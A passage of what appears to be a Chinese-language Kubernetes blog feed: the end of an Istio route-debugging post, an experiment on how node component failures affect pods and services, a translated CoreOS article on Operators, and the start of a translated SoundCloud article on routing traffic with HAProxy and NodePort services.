&lt;p&gt;可以看到 httpbin 的路由如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
    &amp;quot;version_info&amp;quot;: &amp;quot;hash_35afd004f717e588&amp;quot;,
    &amp;quot;route_config_name&amp;quot;: &amp;quot;8000&amp;quot;,
    &amp;quot;cluster_name&amp;quot;: &amp;quot;rds&amp;quot;,
    &amp;quot;route_table_dump&amp;quot;: {&amp;quot;name&amp;quot;:&amp;quot;8000&amp;quot;,&amp;quot;virtual_hosts&amp;quot;:[{&amp;quot;name&amp;quot;:&amp;quot;httpbin.default.svc.cluster.local|http&amp;quot;,&amp;quot;domains&amp;quot;:[&amp;quot;httpbi
n:8000&amp;quot;,&amp;quot;httpbin&amp;quot;,&amp;quot;httpbin.default:8000&amp;quot;,&amp;quot;httpbin.default&amp;quot;,&amp;quot;httpbin.default.svc:8000&amp;quot;,&amp;quot;httpbin.default.svc&amp;quot;,&amp;quot;httpbin.defaul
t.svc.cluster:8000&amp;quot;,&amp;quot;httpbin.default.svc.cluster&amp;quot;,&amp;quot;httpbin.default.svc.cluster.local:8000&amp;quot;,&amp;quot;httpbin.default.svc.cluster.loc
al&amp;quot;,&amp;quot;10.0.34.255:8000&amp;quot;,&amp;quot;10.0.34.255&amp;quot;],&amp;quot;routes&amp;quot;:[{&amp;quot;match&amp;quot;:{&amp;quot;prefix&amp;quot;:&amp;quot;/&amp;quot;},&amp;quot;route&amp;quot;:{&amp;quot;cluster&amp;quot;:&amp;quot;out.httpbin.default.svc.cluster
.local|http&amp;quot;,&amp;quot;timeout&amp;quot;:&amp;quot;0s&amp;quot;},&amp;quot;decorator&amp;quot;:{&amp;quot;operation&amp;quot;:&amp;quot;default-route&amp;quot;}}]}]}
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;新建缺省路由：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: RouteRule
metadata:
  name: rule-all-http
spec:
  destination:
    name: httpbin
  precedence: 1
  route:
  - labels:
      app: httpbin
    weight: 100
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再次查询路由，可以看到其中发生了变化：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
    &amp;quot;version_info&amp;quot;: &amp;quot;hash_146c02ed176ff12b&amp;quot;,
    &amp;quot;route_config_name&amp;quot;: &amp;quot;8000&amp;quot;,
    &amp;quot;cluster_name&amp;quot;: &amp;quot;rds&amp;quot;,
    &amp;quot;route_table_dump&amp;quot;: {&amp;quot;name&amp;quot;:&amp;quot;8000&amp;quot;,&amp;quot;virtual_hosts&amp;quot;:[{&amp;quot;name&amp;quot;:&amp;quot;httpbin.default.svc.cluster.local|http&amp;quot;,&amp;quot;domains&amp;quot;:[&amp;quot;httpbi
n:8000&amp;quot;,&amp;quot;httpbin&amp;quot;,&amp;quot;httpbin.default:8000&amp;quot;,&amp;quot;httpbin.default&amp;quot;,&amp;quot;httpbin.default.svc:8000&amp;quot;,&amp;quot;httpbin.default.svc&amp;quot;,&amp;quot;httpbin.defaul
t.svc.cluster:8000&amp;quot;,&amp;quot;httpbin.default.svc.cluster&amp;quot;,&amp;quot;httpbin.default.svc.cluster.local:8000&amp;quot;,&amp;quot;httpbin.default.svc.cluster.loc
al&amp;quot;,&amp;quot;10.0.34.255:8000&amp;quot;,&amp;quot;10.0.34.255&amp;quot;],&amp;quot;routes&amp;quot;:[{&amp;quot;match&amp;quot;:{&amp;quot;prefix&amp;quot;:&amp;quot;/&amp;quot;},&amp;quot;route&amp;quot;:{&amp;quot;cluster&amp;quot;:&amp;quot;out.httpbin.default.svc.cluster
.local|http|app=httpbin&amp;quot;,&amp;quot;timeout&amp;quot;:&amp;quot;0s&amp;quot;},&amp;quot;decorator&amp;quot;:{&amp;quot;operation&amp;quot;:&amp;quot;rule-all-http&amp;quot;}}]}]}
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;cluster&#34;&gt;cluster&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;kubectl exec [pod] -c istio-proxy curl localhost:15000/routes&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;可以看到所有对应的服务信息，以及可能存在的断路器信息。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Node 重伤之后</title>
      <link>/post/node-downtime/</link>
      <pubDate>Wed, 20 Dec 2017 01:58:49 +0800</pubDate>
      <guid>/post/node-downtime/</guid>
      <description>

&lt;p&gt;很多人都知道 Kubernetes 能自动维护失效 Pod、防止服务中断、剔除故障节点 BLABLA 的一堆高大上功能。但节点故障之后，会对运行在故障节点上的容器、以及依赖容器的服务造成什么影响，是应该了解的，这样才能有针对性的进行监控设置、部署安排、故障处理等工作。&lt;/p&gt;

&lt;p&gt;水平有限，这里不谈原理，只说说症状和一些相关的调整。&lt;/p&gt;

&lt;h2 id=&#34;测试环境&#34;&gt;测试环境&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Kubernetes 1.7.10，三节点，其中 Master 节点被 Taint.

&lt;ul&gt;
&lt;li&gt;10.211.55.11(Master)&lt;/li&gt;
&lt;li&gt;10.211.55.12&lt;/li&gt;
&lt;li&gt;10.211.55.13&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;CentOS 7&lt;/li&gt;
&lt;li&gt;Docker 1.12.3&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;实验设计&#34;&gt;实验设计&lt;/h2&gt;

&lt;p&gt;Docker、Kubelet 以及 Kube-Proxy 是 Node 的标准组件，我们准备一个 2 Replicas 的 Deployment 作为测试目标，使用 NodePort 方式暴露 HTTP 端口。具体代码见附录。&lt;/p&gt;

&lt;p&gt;使用 &lt;code&gt;systemctl&lt;/code&gt; 关停目标服务，使用 &lt;code&gt;watch -n5 kubectl get pods,nodes,deploy&lt;/code&gt; 以及 &lt;code&gt;watch -n5 kubectl &amp;quot;describe svc httpbin | grep -i endp&amp;quot;&lt;/code&gt; 命令持续检查相关工作负载的情况。同时可以使用 &lt;code&gt;curl&lt;/code&gt; 命令检查服务是否存活。&lt;/p&gt;

&lt;h2 id=&#34;kube-proxy&#34;&gt;Kube-Proxy&lt;/h2&gt;

&lt;p&gt;选择登录一个节点，例如 &lt;code&gt;10.211.55.12&lt;/code&gt;，使用 &lt;code&gt;kubectl stop kube-proxy&lt;/code&gt; 关闭之后可以看到，各个 &lt;code&gt;kubectl get&lt;/code&gt; 命令返回结果都正常，似乎未受影响；然而使用 &lt;code&gt;curl&lt;/code&gt; 进行逐个节点的 NodePort 进行验证的时候，会发现停掉 Proxy 的地址是无法提供服务的。&lt;/p&gt;

&lt;h3 id=&#34;监控&#34;&gt;监控&lt;/h3&gt;

&lt;p&gt;除了监控进程/服务之外，Kube-Proxy 还提供了几个可以用于监控的参数&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--healthz-bind-address&lt;/code&gt;：健康检测地址和端口，缺省为 0.0.0.0:10256&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--healthz-port&lt;/code&gt;：健康检测端口，缺省 10256，设置为 0 则关闭。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;curl http://127.0.0.1:10256/healthz | jq&lt;/code&gt; 会看到返回的健康数据：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;lastUpdated&amp;quot;: &amp;quot;2017-12-19 16:05:27.333531431 +0800 CST&amp;quot;,
  &amp;quot;currentTime&amp;quot;: &amp;quot;2017-12-19 16:05:33.73732624 +0800 CST&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&amp;mdash; &lt;code&gt;--metrics-bind-address&lt;/code&gt; 用于提供监控指标的地址和端口，缺省为 127.0.0.1:10249，返回内容可用于 Prometheus。例如：&lt;code&gt;curl -s  http://127.0.0.1:10249/metrics  | more&lt;/code&gt;会看到：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;......
# HELP http_request_size_bytes The HTTP request sizes in bytes.
# TYPE http_request_size_bytes summary
http_request_size_bytes{handler=&amp;quot;prometheus&amp;quot;,quantile=&amp;quot;0.5&amp;quot;} 64
http_request_size_bytes{handler=&amp;quot;prometheus&amp;quot;,quantile=&amp;quot;0.9&amp;quot;} 64
http_request_size_bytes{handler=&amp;quot;prometheus&amp;quot;,quantile=&amp;quot;0.99&amp;quot;} 64
http_request_size_bytes_sum{handler=&amp;quot;prometheus&amp;quot;} 192
http_request_size_bytes_count{handler=&amp;quot;prometheus&amp;quot;} 3
......
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;kubelet&#34;&gt;Kubelet&lt;/h2&gt;

&lt;p&gt;Kubelet 情况比 kube-proxy 复杂一些。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;首先使用&lt;code&gt;kubectl get po -o wide&lt;/code&gt;，确认 Pod 所在节点。&lt;/li&gt;
&lt;li&gt;使用&lt;code&gt;systemctl stop kubelet&lt;/code&gt;停止 kubelet 服务。&lt;/li&gt;
&lt;li&gt;观察&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;首先我们会看到，经过约半分钟以后，该节点变为&lt;code&gt;NotReady&lt;/code&gt;状态。Deploy 对象的 Available 字段数字会减 1，服务的&lt;code&gt;Endpoints&lt;/code&gt;列表减少一个。；但是 Pod 状态保持在&lt;code&gt;Running&lt;/code&gt;，&lt;/p&gt;

&lt;p&gt;五分钟左右，Pod 进入&lt;code&gt;Unknown&lt;/code&gt;状态，开始尝试启动新 Pod。&lt;/p&gt;

&lt;h3 id=&#34;存活检测和就绪检测&#34;&gt;存活检测和就绪检测&lt;/h3&gt;

&lt;p&gt;测试中我们使用的 yaml 中并没有设置这两个内容，事实上，这两个检测是由 kubelet 执行的，对上述行为并无影响。&lt;/p&gt;

&lt;h3 id=&#34;参数调整&#34;&gt;参数调整&lt;/h3&gt;

&lt;p&gt;真正影响上面的行为的是&lt;code&gt;kube-controller-manager&lt;/code&gt;的两个参数：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--pod-eviction-timeout&lt;/code&gt;：缺省为 5m，五分钟，在 Pod 驱逐行为的超时时间。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--node-monitor-grace-period&lt;/code&gt;：缺省为 40s，也就是 40 秒，无响应 Node 在标记为 NotReady 之前的等候时间。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;监控-1&#34;&gt;监控&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--healthz-bind-address&lt;/code&gt;：健康监测地址，缺省为&lt;code&gt;127.0.0.1&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--healthz-port&lt;/code&gt;：健康检测端口，缺省为 10248。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;curl 访问该地址，会得到响应：&lt;code&gt;ok&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;另外如果使用&lt;code&gt;kube-metrics exporter&lt;/code&gt;进行集群监控，可以关注 RC、Deploy 等对象的可用实例数量。&lt;/p&gt;

&lt;h2 id=&#34;docker&#34;&gt;Docker&lt;/h2&gt;

&lt;p&gt;Docker 的情况其实跟 Kubelet 类似，但是结果会更严重：在 Endpoint 被排除之前，路由到故障节点的流量会发生故障。&lt;/p&gt;

&lt;h2 id=&#34;测试之外&#34;&gt;测试之外&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;多 Pod 不仅对性能有好处，在极端情况下能降低故障节点对服务整体效果的影响。&lt;/li&gt;
&lt;li&gt;建议采用节点互斥的方式进行部署。&lt;/li&gt;
&lt;li&gt;对关键组件的监控，应该建立从进程到指标的多级监控，减小服务故障的时间窗口。&lt;/li&gt;
&lt;li&gt;Pod 的存活和健康监测，对于容器内的应用是有效的，应该推荐。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;附录&#34;&gt;附录&lt;/h2&gt;

&lt;h3 id=&#34;workload-yaml&#34;&gt;workload.yaml&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;
apiVersion: v1
kind: Service
metadata:
  name: httpbin
  labels:
    app: httpbin
spec:
  ports:
  - name: http
    port: 80
    nodePort: 30080
  selector:
    app: httpbin
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: httpbin-v1
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: httpbin
        version: v1
    spec:
      containers:
      - image: httpd
        imagePullPolicy: IfNotPresent
        name: httpbin
        ports:
        - containerPort: 80
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>Operator：固化到软件中的运维技能</title>
      <link>/post/operator-for-kubernetes/</link>
      <pubDate>Wed, 13 Dec 2017 18:24:52 +0800</pubDate>
      <guid>/post/operator-for-kubernetes/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://coreos.com/blog/introducing-operators.html&#34; target=&#34;_blank&#34;&gt;Introducing Operators: Putting Operational Knowledge into Software&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;SRE 是用开发软件的方式来进行应用运维的人。他们是工程师、开发者，通晓如何进行软件开发，尤其是特定应用域的开发。他们做出的东西，就是包含这一应用的运维领域技能的软件。&lt;/p&gt;

&lt;p&gt;我们的团队正在 Kubernetes 社区进行一个概念的设计和实现，这一概念就是：在 Kubernetes 基础之上，可靠的创建、配置和管理复杂应用的方法。&lt;/p&gt;

&lt;p&gt;我们把这种软件称为 Operator。一个 Operator 指的是一个面向特定应用的控制器，这一控制器对 Kubernetes API 进行了扩展，使用 Kubernetes 用户的行为方式，创建、配置和管理复杂的有状态应用的实例。他构建在基础的 Kubernetes 资源和控制器概念的基础上，但是包含了具体应用领域的运维知识，实现了日常任务的自动化。&lt;/p&gt;

&lt;h2 id=&#34;无状态容易-有状态难&#34;&gt;无状态容易，有状态难&lt;/h2&gt;

&lt;p&gt;在 Kubernetes 的支持下，管理和伸缩 Web 应用、移动应用后端以及 API 服务都变得比较简单了。其原因是这些应用一般都是无状态的，所以 Deployment 这样的基础 Kubernetes API 对象就可以在无需附加操作的情况下，对应用进行伸缩和故障恢复了。&lt;/p&gt;

&lt;p&gt;而对于数据库、缓存或者监控系统等有状态应用的管理，就是个挑战了。这些系统需要应用领域的知识，来正确的进行伸缩和升级，当数据丢失或不可用的时候，要进行有效的重新配置。我们希望这些应用相关的运维技能可以编码到软件之中，从而借助 Kubernetes 的能力，正确的运行和管理复杂应用。&lt;/p&gt;

&lt;p&gt;Operator 这种软件，使用 &lt;a href=&#34;http://kubernetes.io/docs/user-guide/thirdpartyresources/&#34; target=&#34;_blank&#34;&gt;TPR(第三方资源，现在已经升级为 CRD)&lt;/a&gt; 机制对 Kubernetes API 进行扩展，将特定应用的知识融入其中，让用户可以创建、配置和管理应用。和 Kubernetes 的内置资源一样，Operator 操作的不是一个单实例应用，而是集群范围内的多实例。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/etcd_operator.png&#34; alt=&#34;etcd operator&#34; /&gt;&lt;/p&gt;

&lt;p&gt;为了展示 Operator 的概念，我们有两个实际的例子开放了源代码：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;https://coreos.com/blog/introducing-the-etcd-operator.html&#34; target=&#34;_blank&#34;&gt;etcd Operator&lt;/a&gt;，创建、配置和管理 etcd 集群。etcd 是一个可靠的分布式键值库，由 CoreOS 出品，用于分布式系统中的关键数据存储，Kubernetes 就是用户之一。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://coreos.com/blog/the-prometheus-operator.html&#34; target=&#34;_blank&#34;&gt;Prometheus Operator&lt;/a&gt;，创建配置和管理 Prometheus 监控实例。Prometheus 是一个强大的监控、指标和告警工具，也是 CoreOS 团队支持的 CNCF 项目。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;operator-如何构建&#34;&gt;Operator 如何构建？&lt;/h2&gt;

&lt;p&gt;Operator 基于两个 Kubernetes 的核心概念：资源和控制器。例如内置的 &lt;a href=&#34;http://kubernetes.io/docs/user-guide/replicasets/&#34; target=&#34;_blank&#34;&gt;ReplicaSet&lt;/a&gt; 资源让用户能够设置指定数量的 Pod 来运行，Kubernetes 内置的控制器会通过创建或移除 Pod 的方式，来确保 ReplicaSet 资源的状态合乎期望。Kubernetes 中有很多基础的控制器和资源用这种方式进行工作，包括 &lt;a href=&#34;http://kubernetes.io/docs/user-guide/services/&#34; target=&#34;_blank&#34;&gt;Service&lt;/a&gt;，&lt;a href=&#34;http://kubernetes.io/docs/user-guide/deployments/&#34; target=&#34;_blank&#34;&gt;Deployment&lt;/a&gt; 以及 &lt;a href=&#34;http://kubernetes.io/docs/admin/daemons/&#34; target=&#34;_blank&#34;&gt;DaemonSet&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/rs_before.png&#34; alt=&#34;RS Before&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;用户将一个 Pod 的 RS 扩展到 三个&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&#34;images/rs_scaled.png&#34; alt=&#34;RS Scaled&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;一段时间之后，Kubernetes 的控制器按照用户意愿创建新的 Pod。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Operator 在基础的 Kubernetes 资源和控制器之上，加入了相关的知识和配置，让 Operator 能够执行特定软件的常用任务。例如当手动对 etcd 集群进行伸缩的时候，用户必须执行几个步骤：为新的 etcd 示例创建 DNS 名称，加载新的 etcd 示例，使用 etcd 管理工具(&lt;code&gt;etcdctl member add&lt;/code&gt;)来告知现有集群加入新成员。&lt;strong&gt;etcd Operator&lt;/strong&gt; 的用户就只需要简单的把 etcd 的集群规模字段加一而已。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/operator_scale.png&#34; alt=&#34;Operator Scale&#34; /&gt;
&amp;gt; 用户使用 kubectl 触发了一次备份&lt;/p&gt;

&lt;p&gt;复杂的管理任务还有很多，包括应用升级、配置备份、原生 Kubernetes API 的服务发现，应用的 TLS 认证配置以及灾难恢复等。&lt;/p&gt;

&lt;h2 id=&#34;如何创建一个-operator&#34;&gt;如何创建一个 Operator&lt;/h2&gt;

&lt;p&gt;根据前面的陈述，我们知道 Operator 是跟应用紧密相关的，所以其中最重要的工作就是把应用自身的运维方法编码成为资源和控制逻辑。在创建 Operator 的过程中，我们发现了一些适用于各种应用的通用模式：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Operator 应该以单一 Deployment 的形式进行安装。&lt;code&gt;kubectl create -f https://coreos.com/operators/etcd/latest/deployment.yaml&lt;/code&gt;，不应进行其他额外操作。&lt;/li&gt;
&lt;li&gt;Operator 在安装到 Kubernetes 中时，应该创建新的 TPR 类型。用户会使用这一类型来创建新的应用实例。&lt;/li&gt;
&lt;li&gt;Operator 应该尽量利用 Kubernetes 内置的 Service 以及 ReplicaSet 这些经过良好的测试并易于理解的原生对象。&lt;/li&gt;
&lt;li&gt;Operator 应该向后兼容，并且保持对过去版本资源的理解能力。&lt;/li&gt;
&lt;li&gt;在 Operator 出现故障或者被移除的时候，相关应用应该持续运行不受影响。&lt;/li&gt;
&lt;li&gt;用户应该从 Operator 中获得声明特定版本以及编排应用版本升级的能力。无法更新的软件应该是一种运维缺陷，也可能造成安全问题，Operator 应该给用户更多信心和辅助，完成升级操作。&lt;/li&gt;
&lt;li&gt;Operator 应该用“Chaos Monkey”这样的测试套件来模拟 Pod、配置或者网络故障的情况下的运行情况。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;operators-的未来&#34;&gt;Operators 的未来&lt;/h2&gt;

&lt;p&gt;CoreOS 所发布的 etcd 和 Prometheus 的 Operator，展示了 Kubernetes 平台的能力。过去一年中，我们和 Kubernetes 社区紧密合作，聚焦于 Kubernetes 的稳定性、安全性、以及管理和安装的方便性方面的工作。&lt;/p&gt;

&lt;p&gt;现在 Kubernetes 的基础已经奠定，我们新的工作重点转移到了上层建筑：用软件来对 Kubernetes 进行扩展，为其赋予新的能力。我们想象，未来用户在各自的 Kubernetes 集群上安装 Postgress Operator、Cassandra Operator 或者 Redis Operator，像对普通 Web 应用一样对这些应用进行伸缩。&lt;/p&gt;

&lt;p&gt;要了解更多内容，可以浏览 Github 仓库，在我们的&lt;a href=&#34;https://coreos.com/community/&#34; target=&#34;_blank&#34;&gt;社区中&lt;/a&gt;讨论。&lt;/p&gt;

&lt;h2 id=&#34;faq&#34;&gt;FAQ&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Q：和 StatefulSet（从前的 PetSet）有什么区别？&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;A：有的应用需要集群提供“有状态资源”，例如静态 IP 或者存储，StatefulSet 让 Kubernetes 有了支持这种应用的能力。然而有的应用需要更多的有状态部署模型的支持，例如故障的告警和应对、备份、重新配置等。所以 Operator 应用可以根据部署特性需求来选择 StatefulSets 或者 ReplicaSets 以及 Deployments。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;Q：和 Chef、Puppet 这样的配置管理系统相比呢？&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;A：容器和 Kubernetes 的给了 Operator 生存基础。这两个技术让新软件的部署、分布式配置的协调、检查多主机系统状态等工作变得轻而易举。Operator 把这种种优势聚合在一起，为应用的用户提供方便；他提供的不仅仅是配置，还包括上线、状态等全部内容。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;Q：和 Helm 的区别？&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;A：Helm 是一个把多个 Kubernetes 资源包装为一个单独软件包的工具。把多个应用集成在一起的概念，可以和 Operator 的活动管理进行互补。例如 Traefik 是一个负载均衡，他可以使用 ETCD 作为后端数据库。可以创建一个 Helm Chart ，同时部署 Traefik 的 Deployment 对象以及 etcd 集群。也可以使用 etcd Operator 进行 etcd 集群的部署和管理。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;Q：这对于 Kubernetes 的新用户来说意味着什么？&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;A：这对新用户没什么影响，而且可以更简便的部署 etcd、Prometheus 这样的复杂应用，并且以后会有更多软件支持。我们推荐的试水方式是 &lt;a href=&#34;https://github.com/kubernetes/minikube&#34; target=&#34;_blank&#34;&gt;minikube&lt;/a&gt; 以及 &lt;a href=&#34;http://kubernetes.io/docs/user-guide/kubectl/kubectl_run/&#34; target=&#34;_blank&#34;&gt;kubectl run&lt;/a&gt;，然后可以用 &lt;code&gt;kubectl run&lt;/code&gt;启动 Prometheus Operator 来监控部署的应用。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;Q：etcd 和 Prometheus Operator 的代码开放了么？&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;A：是的，分别位于 &lt;a href=&#34;https://github.com/coreos/etcd-operator&#34; target=&#34;_blank&#34;&gt;https://github.com/coreos/etcd-operator&lt;/a&gt; 以及 &lt;a href=&#34;https://github.com/coreos/prometheus-operator&#34; target=&#34;_blank&#34;&gt;https://github.com/coreos/prometheus-operator&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;Q：是否有计划开发其他的 Operator？&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;A：未来会的。我们还希望社区能够更多参与，让我们也知道用户需要什么样的 Operator。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;Q：Operator 能够让集群更安全么？&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;A：无法更新的软件是一个常见的问题原因和安全隐患，Operator 能让用户更自信的进行升级，打破这一限制。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;Q：Operator 能够帮助进行灾难恢复么？&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;A：Operator 能够轻松地对应用进行阶段性备份以及恢复。我们还希望开发一个功能，让用户可以从备份开始安装新的实例。&lt;/p&gt;
&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>SoundCloud 如何使用 HAProxy 和 Kubernetes 处理用户流量</title>
      <link>/post/soundcloud-haproxy-k8s/</link>
      <pubDate>Tue, 12 Dec 2017 09:03:37 +0800</pubDate>
      <guid>/post/soundcloud-haproxy-k8s/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://developers.soundcloud.com/blog/how-soundcloud-uses-haproxy-with-kubernetes-for-user-facing-traffic&#34; target=&#34;_blank&#34;&gt;How SoundCloud uses HAProxy with Kubernetes for user-facing traffic&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;两年前 SoundCloud 开始了将我们的自研部署平台 &lt;a href=&#34;http://gotocon.com/zurich-2013/presentation/Building%20an%20in-house%20Heroku&#34; target=&#34;_blank&#34;&gt;Bazooka&lt;/a&gt; 迁移到 &lt;a href=&#34;https://kubernetes.io/&#34; target=&#34;_blank&#34;&gt;Kubernetes&lt;/a&gt; 的尝试。Kubernetes 将容器化应用的部署、伸缩和管理都进行了自动化。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/cdn-haproxy-k8s.png&#34; alt=&#34;haproxy-k8s-cdn&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;问题&#34;&gt;问题&lt;/h2&gt;

&lt;p&gt;用户流量的路由，是这类动态平台需要面对的一个重大挑战：把来自用户的 API 和网站访问路由到运行在 Kubernetes 的 Pod 上。&lt;/p&gt;

&lt;p&gt;多数 SoundCloud 运行在一个物理机环境下，所以我们无法享受 Kubernetes Loadblancer 的福利。在基础设施的边际，有一组 HAProxy 服务器使用简单的规则，承担着 SSL 端点的角色，把流量转发给各种内部服务。这些服务器的配置在运行之前是分别进行生成和测试的。有很多内置的保护措施的存在，这一过程会相当耗时，无法跟上 Kubernetes 集群中 Pod 的漂移速度。这样就导致我们的静态 SSL 端点和 Kubernetes 中的动态变化之间的矛盾。&lt;/p&gt;

&lt;h2 id=&#34;过程&#34;&gt;过程&lt;/h2&gt;

&lt;p&gt;起初，我们把端点层配置为转发 HTTP 请求到 HAProxy 为基础的 &lt;a href=&#34;https://kubernetes.io/docs/concepts/services-networking/ingress/#ingress-controllers&#34; target=&#34;_blank&#34;&gt;Ingress Controller&lt;/a&gt; 之中，但是这一方案对我们不太合适，Ingress 控制器设计预期是低流量的内部服务，并不可靠。我们的用户生成了很多流量，每一个问题都会导致部分用户无法使用 SoundCloud。在 Kubernetes Ingress 和端点之间，我们有了两层 &lt;a href=&#34;https://en.wikipedia.org/wiki/OSI_model#Layer_7:_Application_Layer&#34; target=&#34;_blank&#34;&gt;L7&lt;/a&gt; 要相互配对，而且经常无法配对。这对我们的开发人员造成很大困扰，增加了不少工作。&lt;/p&gt;

&lt;p&gt;我们还知道 Ingress Controller 无法处理我们部分客户端使用的长连接。&lt;/p&gt;

&lt;p&gt;当 SoundCloud 工程师构建应用时，我们使用一个自定义命令行界面来生成 Namespace、Service、Deployment 和可选的 Ingress Kubernetes 对象。我们添加了一个参数，来把服务改成 &lt;a href=&#34;https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport&#34; target=&#34;_blank&#34;&gt;NodePort 类型&lt;/a&gt;，&lt;/p&gt;

&lt;p&gt;Kubernetes 在集群中找一个没被占用的端口分配给服务，并在集群每个节点上开放这个端口。到任意一个节点的该端口的访问都会被转发给这一服务的某一个实例。(我们生成的 Kubernetes 对象在 Deployment 和 Service 之间有着一对一的关系)。为简便起见，这里就不深入谈论 ReplicaSet、Pod、以及 Endpoint 等 Kubernetes 对象了。&lt;/p&gt;

&lt;p&gt;对服务的这种改变（Ingress 到 NodePort）是不可逆的。Kubernetes 不允许移除服务定义中的 NodePort 字段。我们还在寻求解决办法 —— 这种情况虽然可以通过删除再重建服务的方式来解决，但是这一方式会导致服务中断。&lt;/p&gt;

&lt;p&gt;应用开发者为应用声明集群、命名空间、服务和端口名，生成一个特定的主机名和路径。系统根据这一配置，将来自 SSL 端点、CDN 分发以及 DNS 等的流量转发给应用。&lt;/p&gt;

&lt;h2 id=&#34;实现&#34;&gt;实现&lt;/h2&gt;

&lt;p&gt;当端点配置声成以后，脚本向 Kubernetes 集群查询每个服务的 Node Port，以及 Kubernetes 的节点列表。起初我们把所有节点都加入到端点的配置之中，不过后来证明这是一个问题。&lt;/p&gt;

&lt;p&gt;每个端点会独立的检查每个节点的每个端口的健康状况。几十个端点，几百个 Kubernetes 节点，导致每秒钟上万次的健康检查。这种检查是通过节点进行的，跟服务规模无关，所以即使是很低流量的服务，也需要大量的资源来应对这些健康检查。&lt;/p&gt;

&lt;p&gt;我们因此减少了配置给每个服务的节点数量，不过我们也不希望这个节点数量太少，免得造成性能瓶颈。一个简单的方案就是随机从列表中选择一些节点，但这样的话，这一列表的每次生成，都会发生很大的变化，会跟真正的部署调整造成混淆。所以我们决定使用服务名称和节点地址来进行哈希，为每个服务选择一组固定数量的服务器，但是这个选择在节点不变的情况下也会保持不变。&lt;/p&gt;

&lt;p&gt;我们选择足够多的节点，这样就不必担心一两台节点发生当机，或节点被多个高流量服务重叠使用。&lt;/p&gt;

